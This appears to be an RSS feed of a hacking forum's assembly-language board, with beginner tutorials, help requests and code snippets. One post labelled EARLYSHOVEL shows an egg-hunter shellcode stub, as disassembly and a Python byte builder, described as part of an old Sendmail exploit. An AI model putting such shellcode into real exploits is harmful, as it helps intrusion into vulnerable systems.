<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Sinisterly - Assembly]]></title>
		<link>https://sinister.ly/</link>
		<description><![CDATA[Sinisterly - https://sinister.ly]]></description>
		<pubDate>Mon, 17 Aug 2026 12:39:19 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[whats the best way to learn x86_64 assembly?]]></title>
			<link>https://sinister.ly/Thread-whats-the-best-way-to-learn-x86-64-assembly</link>
			<pubDate>Mon, 20 Jan 2025 03:12:08 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=281499">timmypeachstatistic</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-whats-the-best-way-to-learn-x86-64-assembly</guid>
			<description><![CDATA[I already know how to code simple programs in armv8 and a basic understanding of computer architecture. I know the stack pointer, frame pointer etc and the basic instructions, but the instruction set and structure of x86_64 assembly is kind of confusing and I can't find any good tutorials online of it]]></description>
			<content:encoded><![CDATA[I already know how to code simple programs in armv8 and a basic understanding of computer architecture. I know the stack pointer, frame pointer etc and the basic instructions, but the instruction set and structure of x86_64 assembly is kind of confusing and I can't find any good tutorials online of it]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[A Help with a file]]></title>
			<link>https://sinister.ly/Thread-A-Help-with-a-file</link>
			<pubDate>Tue, 16 Jan 2024 02:44:36 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=266702">BN_LOS</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-A-Help-with-a-file</guid>
			<description><![CDATA[Hey guys i want to unpack or disassemble a file i tried many times but i dont understand pe files completely if any expert can help me with it i would appreciate it <br />
<br />
what i want exactly is to replace the dll from calling dinput8.dll and call winmm.dll instead to use both dinput8 and this one its qingsheng dll for those who knows resident evil 4 files and modding i wanna make it work with re4 tweaks and dinput8 by raz0r thanks in advance<br />
<br />
the file is <span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size"><span style="color: #FFA339;" class="mycode_color">X3DAudio1_7.dll</span></span><br />
</span><br />
gofile.io/d/bsq1Uv]]></description>
			<content:encoded><![CDATA[Hey guys i want to unpack or disassemble a file i tried many times but i dont understand pe files completely if any expert can help me with it i would appreciate it <br />
<br />
what i want exactly is to replace the dll from calling dinput8.dll and call winmm.dll instead to use both dinput8 and this one its qingsheng dll for those who knows resident evil 4 files and modding i wanna make it work with re4 tweaks and dinput8 by raz0r thanks in advance<br />
<br />
the file is <span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size"><span style="color: #FFA339;" class="mycode_color">X3DAudio1_7.dll</span></span><br />
</span><br />
gofile.io/d/bsq1Uv]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Unlocking the Mysteries of Assembly Language: A Thread 🛠️💻]]></title>
			<link>https://sinister.ly/Thread-Unlocking-the-Mysteries-of-Assembly-Language-A-Thread-%F0%9F%9B%A0%EF%B8%8F%F0%9F%92%BB</link>
			<pubDate>Tue, 19 Dec 2023 15:59:46 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=265179">plol8199</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Unlocking-the-Mysteries-of-Assembly-Language-A-Thread-%F0%9F%9B%A0%EF%B8%8F%F0%9F%92%BB</guid>
			<description><![CDATA[1️⃣ What is Assembly Language?<br />
Assembly is a low-level programming language that's closely tied to a computer's architecture. Unlike high-level languages, Assembly provides a direct interface to a computer's hardware, allowing for unparalleled control and optimization.<br />
<br />
2️⃣ The Beauty of Simplicity and Complexity<br />
Assembly is both simple and complex. On one hand, it uses mnemonics and symbols that are human-readable, making it approachable. On the other, it's deeply connected to the hardware, requiring a solid understanding of computer architecture.<br />
<br />
3️⃣ The Power of Control<br />
One of the biggest advantages of Assembly is the fine-grained control it offers. Each line of code corresponds to a specific machine instruction, making it ideal for tasks that demand efficiency and direct manipulation of hardware resources.<br />
<br />
4️⃣ Challenges and Rewards<br />
Working with Assembly can be challenging, but the rewards are immense. It's like speaking the language of the machine, understanding how your code directly impacts the processor's behavior.<br />
<br />
5️⃣ Real-World Applications<br />
While Assembly might not be the go-to language for everyday programming, it plays a crucial role in certain domains. Embedded systems, device drivers, and performance-critical applications often rely on Assembly for maximum efficiency.<br />
<br />
6️⃣ Learning Resources<br />
Share your favorite Assembly resources! Whether it's online tutorials, books, or coding challenges, let's build a treasure trove of knowledge for those diving into the world of Assembly.<br />
<br />
7️⃣ Assembly in the Modern Era<br />
Despite the rise of high-level languages, Assembly remains relevant. Modern compilers often generate Assembly code as an intermediate step, and understanding Assembly can give you a deeper insight into how your code interacts with the hardware.<br />
<br />
8️⃣ Your Assembly Adventures<br />
Have you dabbled in Assembly programming? Share your experiences, challenges, and triumphs! Let's inspire and learn from each other.]]></description>
			<content:encoded><![CDATA[1️⃣ What is Assembly Language?<br />
Assembly is a low-level programming language that's closely tied to a computer's architecture. Unlike high-level languages, Assembly provides a direct interface to a computer's hardware, allowing for unparalleled control and optimization.<br />
<br />
2️⃣ The Beauty of Simplicity and Complexity<br />
Assembly is both simple and complex. On one hand, it uses mnemonics and symbols that are human-readable, making it approachable. On the other, it's deeply connected to the hardware, requiring a solid understanding of computer architecture.<br />
<br />
3️⃣ The Power of Control<br />
One of the biggest advantages of Assembly is the fine-grained control it offers. Each line of code corresponds to a specific machine instruction, making it ideal for tasks that demand efficiency and direct manipulation of hardware resources.<br />
<br />
4️⃣ Challenges and Rewards<br />
Working with Assembly can be challenging, but the rewards are immense. It's like speaking the language of the machine, understanding how your code directly impacts the processor's behavior.<br />
<br />
5️⃣ Real-World Applications<br />
While Assembly might not be the go-to language for everyday programming, it plays a crucial role in certain domains. Embedded systems, device drivers, and performance-critical applications often rely on Assembly for maximum efficiency.<br />
<br />
6️⃣ Learning Resources<br />
Share your favorite Assembly resources! Whether it's online tutorials, books, or coding challenges, let's build a treasure trove of knowledge for those diving into the world of Assembly.<br />
<br />
7️⃣ Assembly in the Modern Era<br />
Despite the rise of high-level languages, Assembly remains relevant. Modern compilers often generate Assembly code as an intermediate step, and understanding Assembly can give you a deeper insight into how your code interacts with the hardware.<br />
<br />
8️⃣ Your Assembly Adventures<br />
Have you dabbled in Assembly programming? Share your experiences, challenges, and triumphs! Let's inspire and learn from each other.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[I need to decompile C# source code]]></title>
			<link>https://sinister.ly/Thread-Leak-I-need-to-decompile-C-source-code</link>
			<pubDate>Thu, 14 Dec 2023 00:41:03 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=246663">buihabompei</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Leak-I-need-to-decompile-C-source-code</guid>
			<description><![CDATA[I need to decompile C# source code]]></description>
			<content:encoded><![CDATA[I need to decompile C# source code]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[hello]]></title>
			<link>https://sinister.ly/Thread-hello--207840</link>
			<pubDate>Sun, 10 Dec 2023 02:59:58 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=264575">minecraft4ever1</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-hello--207840</guid>
			<description><![CDATA[Hello, how is everyones day going?]]></description>
			<content:encoded><![CDATA[Hello, how is everyones day going?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Assembler in games]]></title>
			<link>https://sinister.ly/Thread-Assembler-in-games</link>
			<pubDate>Sat, 07 Oct 2023 22:59:13 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=259227">vekm</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Assembler-in-games</guid>
			<description><![CDATA[It's hard to believe, but exist games where you need to code in assembler! <br />
Games for †ru3 h4ck3rs <img src="https://sinister.ly/images/smilies/set/cool.png" alt="Cool" title="Cool" class="smilie smilie_23" /> <br />
<br />
My favourite - <span style="font-weight: bold;" class="mycode_b">EXAPUNKS</span>.<br />
<br />
<blockquote class="mycode_quote"><cite>Quote:</cite>READ ZINES - Learn to hack from TRASH WORLD NEWS, the underground computer magazine. Tutorials, hacking tips, secret information.<br />
WRITE VIRUSES - Program your EXAs (EXecution Agents) to tear through networks, replicate themselves, trash files, terminate other EXAs— and leave without a trace.<br />
HACK EVERYTHING - Hack banks, universities, factories, TV stations, highway signs, game consoles, the government... oh yeah, and your own body.<br />
TAKE DOWN YOUR FRIENDS - Compete with your friends by running your programs directly against theirs in all-out hacker battles. Make every cycle count.</blockquote>
<br />
<img src="https://blog.thul.org/technik/spiele/exapunks-teil-2/EXAPUNKS_equity_first_bank.gif" loading="lazy" alt="[Image: EXAPUNKS_equity_first_bank.gif]" class="mycode_img" /><br />
<br />
<img src="https://lparchive.org/EXAPUNKS/1-zine_1_15.png" loading="lazy" alt="[Image: 1-zine_1_15.png]" class="mycode_img" /><br />
<br />
<img src="https://cdn.cloudflare.steamstatic.com/steam/apps/716490/ss_04f3ab44402750e4ffa859050d20a32b09e8c9f7.1920x1080.jpg?t=1667071547" loading="lazy" alt="[Image: ss_04f3ab44402750e4ffa859050d20a32b09e8c...1667071547]" class="mycode_img" />]]></description>
			<content:encoded><![CDATA[It's hard to believe, but exist games where you need to code in assembler! <br />
Games for †ru3 h4ck3rs <img src="https://sinister.ly/images/smilies/set/cool.png" alt="Cool" title="Cool" class="smilie smilie_23" /> <br />
<br />
My favourite - <span style="font-weight: bold;" class="mycode_b">EXAPUNKS</span>.<br />
<br />
<blockquote class="mycode_quote"><cite>Quote:</cite>READ ZINES - Learn to hack from TRASH WORLD NEWS, the underground computer magazine. Tutorials, hacking tips, secret information.<br />
WRITE VIRUSES - Program your EXAs (EXecution Agents) to tear through networks, replicate themselves, trash files, terminate other EXAs— and leave without a trace.<br />
HACK EVERYTHING - Hack banks, universities, factories, TV stations, highway signs, game consoles, the government... oh yeah, and your own body.<br />
TAKE DOWN YOUR FRIENDS - Compete with your friends by running your programs directly against theirs in all-out hacker battles. Make every cycle count.</blockquote>
<br />
<img src="https://blog.thul.org/technik/spiele/exapunks-teil-2/EXAPUNKS_equity_first_bank.gif" loading="lazy" alt="[Image: EXAPUNKS_equity_first_bank.gif]" class="mycode_img" /><br />
<br />
<img src="https://lparchive.org/EXAPUNKS/1-zine_1_15.png" loading="lazy" alt="[Image: 1-zine_1_15.png]" class="mycode_img" /><br />
<br />
<img src="https://cdn.cloudflare.steamstatic.com/steam/apps/716490/ss_04f3ab44402750e4ffa859050d20a32b09e8c9f7.1920x1080.jpg?t=1667071547" loading="lazy" alt="[Image: ss_04f3ab44402750e4ffa859050d20a32b09e8c...1667071547]" class="mycode_img" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Assembly - A Low-Level Look at Coding]]></title>
			<link>https://sinister.ly/Thread-Assembly-A-Low-Level-Look-at-Coding</link>
			<pubDate>Tue, 12 Sep 2023 14:41:47 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=256856">qlonE3</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Assembly-A-Low-Level-Look-at-Coding</guid>
			<description><![CDATA[Greetings, Sinisterly programmers,<br />
<br />
When it comes to coding, Assembly is about as low-level as you can get. It requires a deep understanding of computer hardware and can be a challenge to master. But, what are the benefits of using Assembly, and how can it be applied in today's world?<br />
<br />
Let's discuss - what is Assembly, and what sets it apart from higher-level programming languages? What are some practical applications for Assembly, and what are some challenges associated with using it for software development? Share your experiences with Assembly - whether you're a seasoned programmer or just dipping your toes in - and let's explore this complex yet fascinating language together.]]></description>
			<content:encoded><![CDATA[Greetings, Sinisterly programmers,<br />
<br />
When it comes to coding, Assembly is about as low-level as you can get. It requires a deep understanding of computer hardware and can be a challenge to master. But, what are the benefits of using Assembly, and how can it be applied in today's world?<br />
<br />
Let's discuss - what is Assembly, and what sets it apart from higher-level programming languages? What are some practical applications for Assembly, and what are some challenges associated with using it for software development? Share your experiences with Assembly - whether you're a seasoned programmer or just dipping your toes in - and let's explore this complex yet fascinating language together.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[FASM] Compare 2 strings]]></title>
			<link>https://sinister.ly/Thread-FASM-Compare-2-strings--169511</link>
			<pubDate>Thu, 15 Sep 2022 15:14:50 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=221373">Houston1337</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-FASM-Compare-2-strings--169511</guid>
			<description><![CDATA[Code:<br />
include 'win32ax.inc'<br />
<br />
str1 db '1111111111',0<br />
str2 db '1111111112',0<br />
<br />
start:<br />
      stdcall CmpStr,str1,str2<br />
      test eax,eax<br />
      jz not_the_same<br />
      invoke MessageBox,0,'Both strings are alike!!','FASM',MB_OK<br />
      jmp exit<br />
not_the_same:<br />
      invoke MessageBox,0,'Both strings are Wrong','FASM',MB_OK<br />
      exit:invoke ExitProcess,0<br />
<br />
proc CmpStr uses esi edi ecx,str1,str2; returns 0 when strings are not the same.<br />
cld<br />
mov ecx,0ah<br />
mov esi,[str1]<br />
mov edi,[str2]<br />
repe cmpsb<br />
jnz @f<br />
mov eax,-1<br />
ret<br />
@@:<br />
xor eax]]></description>
			<content:encoded><![CDATA[Code:<br />
include 'win32ax.inc'<br />
<br />
str1 db '1111111111',0<br />
str2 db '1111111112',0<br />
<br />
start:<br />
      stdcall CmpStr,str1,str2<br />
      test eax,eax<br />
      jz not_the_same<br />
      invoke MessageBox,0,'Both strings are alike!!','FASM',MB_OK<br />
      jmp exit<br />
not_the_same:<br />
      invoke MessageBox,0,'Both strings are Wrong','FASM',MB_OK<br />
      exit:invoke ExitProcess,0<br />
<br />
proc CmpStr uses esi edi ecx,str1,str2; returns 0 when strings are not the same.<br />
cld<br />
mov ecx,0ah<br />
mov esi,[str1]<br />
mov edi,[str2]<br />
repe cmpsb<br />
jnz @f<br />
mov eax,-1<br />
ret<br />
@@:<br />
xor eax]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[EARLYSHOVEL disassembly (x86)]]></title>
			<link>https://sinister.ly/Thread-EARLYSHOVEL-disassembly-x86</link>
			<pubDate>Sun, 03 Apr 2022 01:09:01 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=177273">ConcernedCitizen</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-EARLYSHOVEL-disassembly-x86</guid>
			<description><![CDATA[<span style="color: #ffffff;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">EARLYSHOVEL</span></span></span><br />
<br />
<span style="color: #ffffff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size">What is it?</span></span></span><br />
A RedHat 7.0 - 7.1 Sendmail 8.11.x exploit<br />
<br />
<span style="color: #ffffff;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">The original Python and ASM should interest you</span></span></span><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code># https://gist.github.com/84a98b20a6c4186890f1520c5bd2caa0
# Disasembly D:

# 0000000000000000 EB1E                            JMP 0000000000000020
# 0000000000000002 59                              POP RCX
# 0000000000000003 51                              PUSH RCX
# 0000000000000004 FF31                            PUSH QWORD PTR [RCX]
# 0000000000000006 59                              POP RCX
# 0000000000000007 58                              POP RAX
# 0000000000000008 31DB                            XOR EBX,EBX
# 000000000000000A B304                            MOV BL,04
# 000000000000000C 01D8                            ADD EAX,EBX
# 000000000000000E F6DB                            NEG BL
# 0000000000000010 20D8                            AND AL,BL
# 0000000000000012 F6DB                            NEG BL
# 0000000000000014 01D8                            ADD EAX,EBX
# 0000000000000016 3B08                            CMP ECX,DWORD PTR [RAX]
# 0000000000000018 75FA                            JNE 0000000000000014
# 000000000000001A 01D8                            ADD EAX,EBX
# 000000000000001C 50                              PUSH RAX
# 000000000000001D 59                              POP RCX
# 000000000000001E FFE1                            JMP RCX
# 0000000000000020 E8DDFFFFFF                      CALL 0000000000000002
# 0000000000000025 51                              PUSH RCX
# 0000000000000026 51                              PUSH RCX
# 0000000000000027 51                              PUSH RCX
# 0000000000000028 51                              PUSH RCX

#!/usr/bin/python

spin = "&#92;xeb&#92;x1e"

start = "&#92;x59&#92;x51&#92;xff&#92;x31&#92;x59&#92;x58&#92;x31&#92;xdb&#92;xb3&#92;x04&#92;x01&#92;xd8&#92;xf6&#92;xdb&#92;x20&#92;xd8" "&#92;xf6&#92;xdb"

findit = "&#92;x01&#92;xd8&#92;x3b&#92;x08&#92;x75&#92;xfa"

found = "&#92;x01&#92;xd8&#92;x50&#92;x59&#92;xff&#92;xe1"

end = "&#92;xe8&#92;xdd&#92;xff&#92;xff&#92;xff"

# marker
data = "&#92;x51&#92;x51&#92;x51&#92;x51"


def build():
    tmp = spin + start + findit + found + end + data
    return tmp</code></div></div><br />
<br />
<span style="color: #ffffff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size">More to follow..</span></span></span>]]></description>
			<content:encoded><![CDATA[<span style="color: #ffffff;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">EARLYSHOVEL</span></span></span><br />
<br />
<span style="color: #ffffff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size">What is it?</span></span></span><br />
A RedHat 7.0 - 7.1 Sendmail 8.11.x exploit<br />
<br />
<span style="color: #ffffff;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">The original Python and ASM should interest you</span></span></span><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code># https://gist.github.com/84a98b20a6c4186890f1520c5bd2caa0
# Disasembly D:

# 0000000000000000 EB1E                            JMP 0000000000000020
# 0000000000000002 59                              POP RCX
# 0000000000000003 51                              PUSH RCX
# 0000000000000004 FF31                            PUSH QWORD PTR [RCX]
# 0000000000000006 59                              POP RCX
# 0000000000000007 58                              POP RAX
# 0000000000000008 31DB                            XOR EBX,EBX
# 000000000000000A B304                            MOV BL,04
# 000000000000000C 01D8                            ADD EAX,EBX
# 000000000000000E F6DB                            NEG BL
# 0000000000000010 20D8                            AND AL,BL
# 0000000000000012 F6DB                            NEG BL
# 0000000000000014 01D8                            ADD EAX,EBX
# 0000000000000016 3B08                            CMP ECX,DWORD PTR [RAX]
# 0000000000000018 75FA                            JNE 0000000000000014
# 000000000000001A 01D8                            ADD EAX,EBX
# 000000000000001C 50                              PUSH RAX
# 000000000000001D 59                              POP RCX
# 000000000000001E FFE1                            JMP RCX
# 0000000000000020 E8DDFFFFFF                      CALL 0000000000000002
# 0000000000000025 51                              PUSH RCX
# 0000000000000026 51                              PUSH RCX
# 0000000000000027 51                              PUSH RCX
# 0000000000000028 51                              PUSH RCX

#!/usr/bin/python

spin = "&#92;xeb&#92;x1e"

start = "&#92;x59&#92;x51&#92;xff&#92;x31&#92;x59&#92;x58&#92;x31&#92;xdb&#92;xb3&#92;x04&#92;x01&#92;xd8&#92;xf6&#92;xdb&#92;x20&#92;xd8" "&#92;xf6&#92;xdb"

findit = "&#92;x01&#92;xd8&#92;x3b&#92;x08&#92;x75&#92;xfa"

found = "&#92;x01&#92;xd8&#92;x50&#92;x59&#92;xff&#92;xe1"

end = "&#92;xe8&#92;xdd&#92;xff&#92;xff&#92;xff"

# marker
data = "&#92;x51&#92;x51&#92;x51&#92;x51"


def build():
    tmp = spin + start + findit + found + end + data
    return tmp</code></div></div><br />
<br />
<span style="color: #ffffff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size">More to follow..</span></span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Help with reverse engineering a code]]></title>
			<link>https://sinister.ly/Thread-Gold-Help-with-reverse-engineering-a-code</link>
			<pubDate>Wed, 16 Mar 2022 18:27:37 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=165717">fire</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Gold-Help-with-reverse-engineering-a-code</guid>
			<description><![CDATA[My buddy needed some help reverse engineering a bianary<br />
<br />
Could anyone here help me out?<br />
<br />
Shoot me a dm and I'll send the file over]]></description>
			<content:encoded><![CDATA[My buddy needed some help reverse engineering a bianary<br />
<br />
Could anyone here help me out?<br />
<br />
Shoot me a dm and I'll send the file over]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Release] Great Resources To Learn Reverse Engineering]]></title>
			<link>https://sinister.ly/Thread-Release-Great-Resources-To-Learn-Reverse-Engineering</link>
			<pubDate>Thu, 19 Sep 2019 22:52:48 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=77098">Confidential</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Release-Great-Resources-To-Learn-Reverse-Engineering</guid>
			<description><![CDATA[What's up everyone? Today I decided to show you guys a great learning resource to start at when trying to learn Assembly/reverse engineering. It's what I used when I first started learning. I'm just gonna stop talking, here you go:<br />
<br />
<a href="https://github.com/wtsxDev/reverse-engineering#books" target="_blank" class="mycode_url">Resource(s)</a>]]></description>
			<content:encoded><![CDATA[What's up everyone? Today I decided to show you guys a great learning resource to start at when trying to learn Assembly/reverse engineering. It's what I used when I first started learning. I'm just gonna stop talking, here you go:<br />
<br />
<a href="https://github.com/wtsxDev/reverse-engineering#books" target="_blank" class="mycode_url">Resource(s)</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[So you want to learn assembly ( Part 1 )]]></title>
			<link>https://sinister.ly/Thread-Tutorial-So-you-want-to-learn-assembly-Part-1</link>
			<pubDate>Sun, 04 Nov 2018 13:03:01 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=95619">Cr3aTor</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Tutorial-So-you-want-to-learn-assembly-Part-1</guid>
			<description><![CDATA[<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Introduction</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color">Greetings all, today I will be talking about assembly: what it is, how to use it and some external resources to learn more. I hope this will help the newcomers to get a feeling about it and know where to look for in the future.</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #32CD32;" class="mycode_color">Disclaimer:  I'm by no means an expert in assembly, thus all I'm going to present it's based on self-research and experience along the years. Therefore, any productive criticism is welcomed.</span></span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">You need to know this in order to continue</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><br />
<span style="color: #ff3333;" class="mycode_color">The CPU</span><br />
<span style="color: #ffcc33;" class="mycode_color">========</span></span><br />
<br />
<span style="color: #32CD32;" class="mycode_color">The CPU is one of the most important components that computers have. Thus, understanding how it works and how it communicates with other components it's an essential part in order to learn assembly. So let's have a look at what is composed of:</span><ul class="mycode_list"><li>A set of registers<br />
</li>
<li>An Arithmetic-Logic Unit (ALU)<br />
</li>
<li>Some control logic.<br />
</li>
</ul>
<span style="color: #32CD32;" class="mycode_color"><br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Registers</span><br />
Let's start by looking first at the registers.<br />
Registers are just a small piece of memory inside the CPU that are used to quickly accept, store, and transfer data. Because they are so close to the CPU, they are super fast at doing their job. There are different types of registers as well, that indicate different things. For example the RSP and RBP are some of those for the 64bit architecture:</span><ul class="mycode_list"><li>RBP point to the base of the current stack frame<br />
</li>
<li>RSP point to the top of the current stack frame<br />
</li>
</ul>
<span style="color: #32CD32;" class="mycode_color"><br />
They can be numbered starting from 0 like the memory or they can be named. <br />
Don't bother to much for now with what they're doing and how to use them, I will explain it more later. For now, just remember that registers are a small piece of memory inside the CPU that helps it to execute, store and transfer data.<br />
</span><br />
<br />
<span style="color: #32CD32;" class="mycode_color"><br />
<span style="font-weight: bold;" class="mycode_b">2. The ALU</span><br />
The Arithmetic-Logic Unit is basically just performing arithmetic and logic operations. It can add, subtract, multiply, divide, xor, and, or, etc. That's pretty much what a computer does most of the time. <br />
The ALU performs those operations with the values stored in the registers or values taken from memory. For storing them it uses the registers or it stores the values in a memory address. The available options actually depends on the processor. Yeah, that was pretty much it for the ALU.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. The Control Unit</span><br />
The last part of the CPU that we are interested in is the Control Unit. The Control Unit is anything else inside the processor except the registers and the ALU (branch prediction unit, cache management, bus signaling, pipeline management, etc). However, it has some functionality that we are interested in and that's pretty mandatory.<br />
One of those being to control the CPU external interface. In other words, the state of all those little pins that go out of the CPU chip. Using these pins, the processor can talk to the memory to read and write values and can also interface to different types of hardware…<br />
<br />
Basically when the ALU needs some data from memory for performing an operation, it asks the control unit to activate the right pins on the processor to command the memory chip to read or write a given memory position. To better visualize this I found this picture on the internet that might help:<br />
<br />
<img src="https://www.computerhope.com/jargon/m/machine-cycle.jpg" loading="lazy" alt="[Image: machine-cycle.jpg]" class="mycode_img" /><br />
<br />
Here are some other functions of the Control Unit:</span><ul class="mycode_list"><li>Regulate transfers of information between memory and I/O.<br />
</li>
<li>Fetches and decodes instructions from microprograms.<br />
</li>
<li>Responsible for correct instruction execution between a processor's many sub-units.<br />
</li>
<li>Control unit converts received information into sequence of control signals, and transfer to computer processor.<br />
</li>
<li>It controls data flow inside the computer processor.<br />
</li>
</ul>
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Machine Code</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
Machine code is binary (1's and 0's) code that can be executed directly by the CPU. If you were to open a machine code file in a text editor you would see garbage, including unprintable characters.<br />
So in the old days, some tech savys thought of a way to be easier for us, humans, to understand and write machine code. Therefore assembly was created. You can think of it as a mapping between 0's and 1's to words.<br />
However, keep in mind that the CPU doesn't understand assembly, thus we write assembly code and with the help of an assembler or a compiler, we convert the assembly to machine code.</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">A simple fictional processor</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
Ok, now you should have a basic understanding of how processors work, so let's make a fictional one. We will call it from now on HAM-201.<br />
Now, in order to proceed I need to step back for a little and start explaining what the <span style="font-weight: bold;" class="mycode_b">Instruction Pointer ( IP )</span> is. This is a special register that indicates which memory address in the main memory contains the next instruction to run. Whenever the CPU executes an instruction, this register increments by one ( unless it's a jump/branch instruction  ) therefore moving to the next address to execute.<br />
<br />
Now let's take a look at the specifications for our processor:</span><br />
<ol type="1" class="mycode_list"><li>We will have 3 registers: <span style="font-weight: bold;" class="mycode_b">EBX</span>, <span style="font-weight: bold;" class="mycode_b">EBP</span> and <span style="font-weight: bold;" class="mycode_b">RIP</span>, the last one being the instruction pointer.<br />
</li>
<li>The ALU can perform just a <span style="font-weight: bold;" class="mycode_b">MUL</span> --&gt; multiplying 2 numbers<br />
</li>
<li>It will have an instruction <span style="font-weight: bold;" class="mycode_b">MOV</span> to assign values to registers<br />
</li>
</ol>
<span style="color: #32CD32;" class="mycode_color"><br />
Now we need to define what instructions it can run. In our case, this will look something like this:<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>OPCODE        |  Assembly          | Description
--------------+--------------------+-------------------------------------------------------------------------
0xdd xx       | mov ebx,  xx       | Copies the value in xx into the ebp register
0xde xx       | mov ebp,  xx       | Copies the value in xx into the esp register
0x01 xx  yy   | mul  xx,  yy       | Multiplies the values of registers xx and yy and stores the result in the xx register.
0x90          | nop                | No operation, does nothing
0xFF          | halt               | Stops the CPU
---------------------------------------------------------------------------------------------------</code></div></div><span style="color: #32CD32;" class="mycode_color"><br />
<br />
<br />
As you can see we have 3 columns, the first one is containing the actual machine code, second one the assembly and the 3rd one is a short description.<br />
Now let's go and build our first program ! <img src="https://sinister.ly/images/smilies/set/biggrin.png" alt="Biggrin" title="Biggrin" class="smilie smilie_28" /><br />
</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Our first program</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
Let's make a simple program that multiplies 2 numbers.</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>   Assembly    |  Machine Code   |
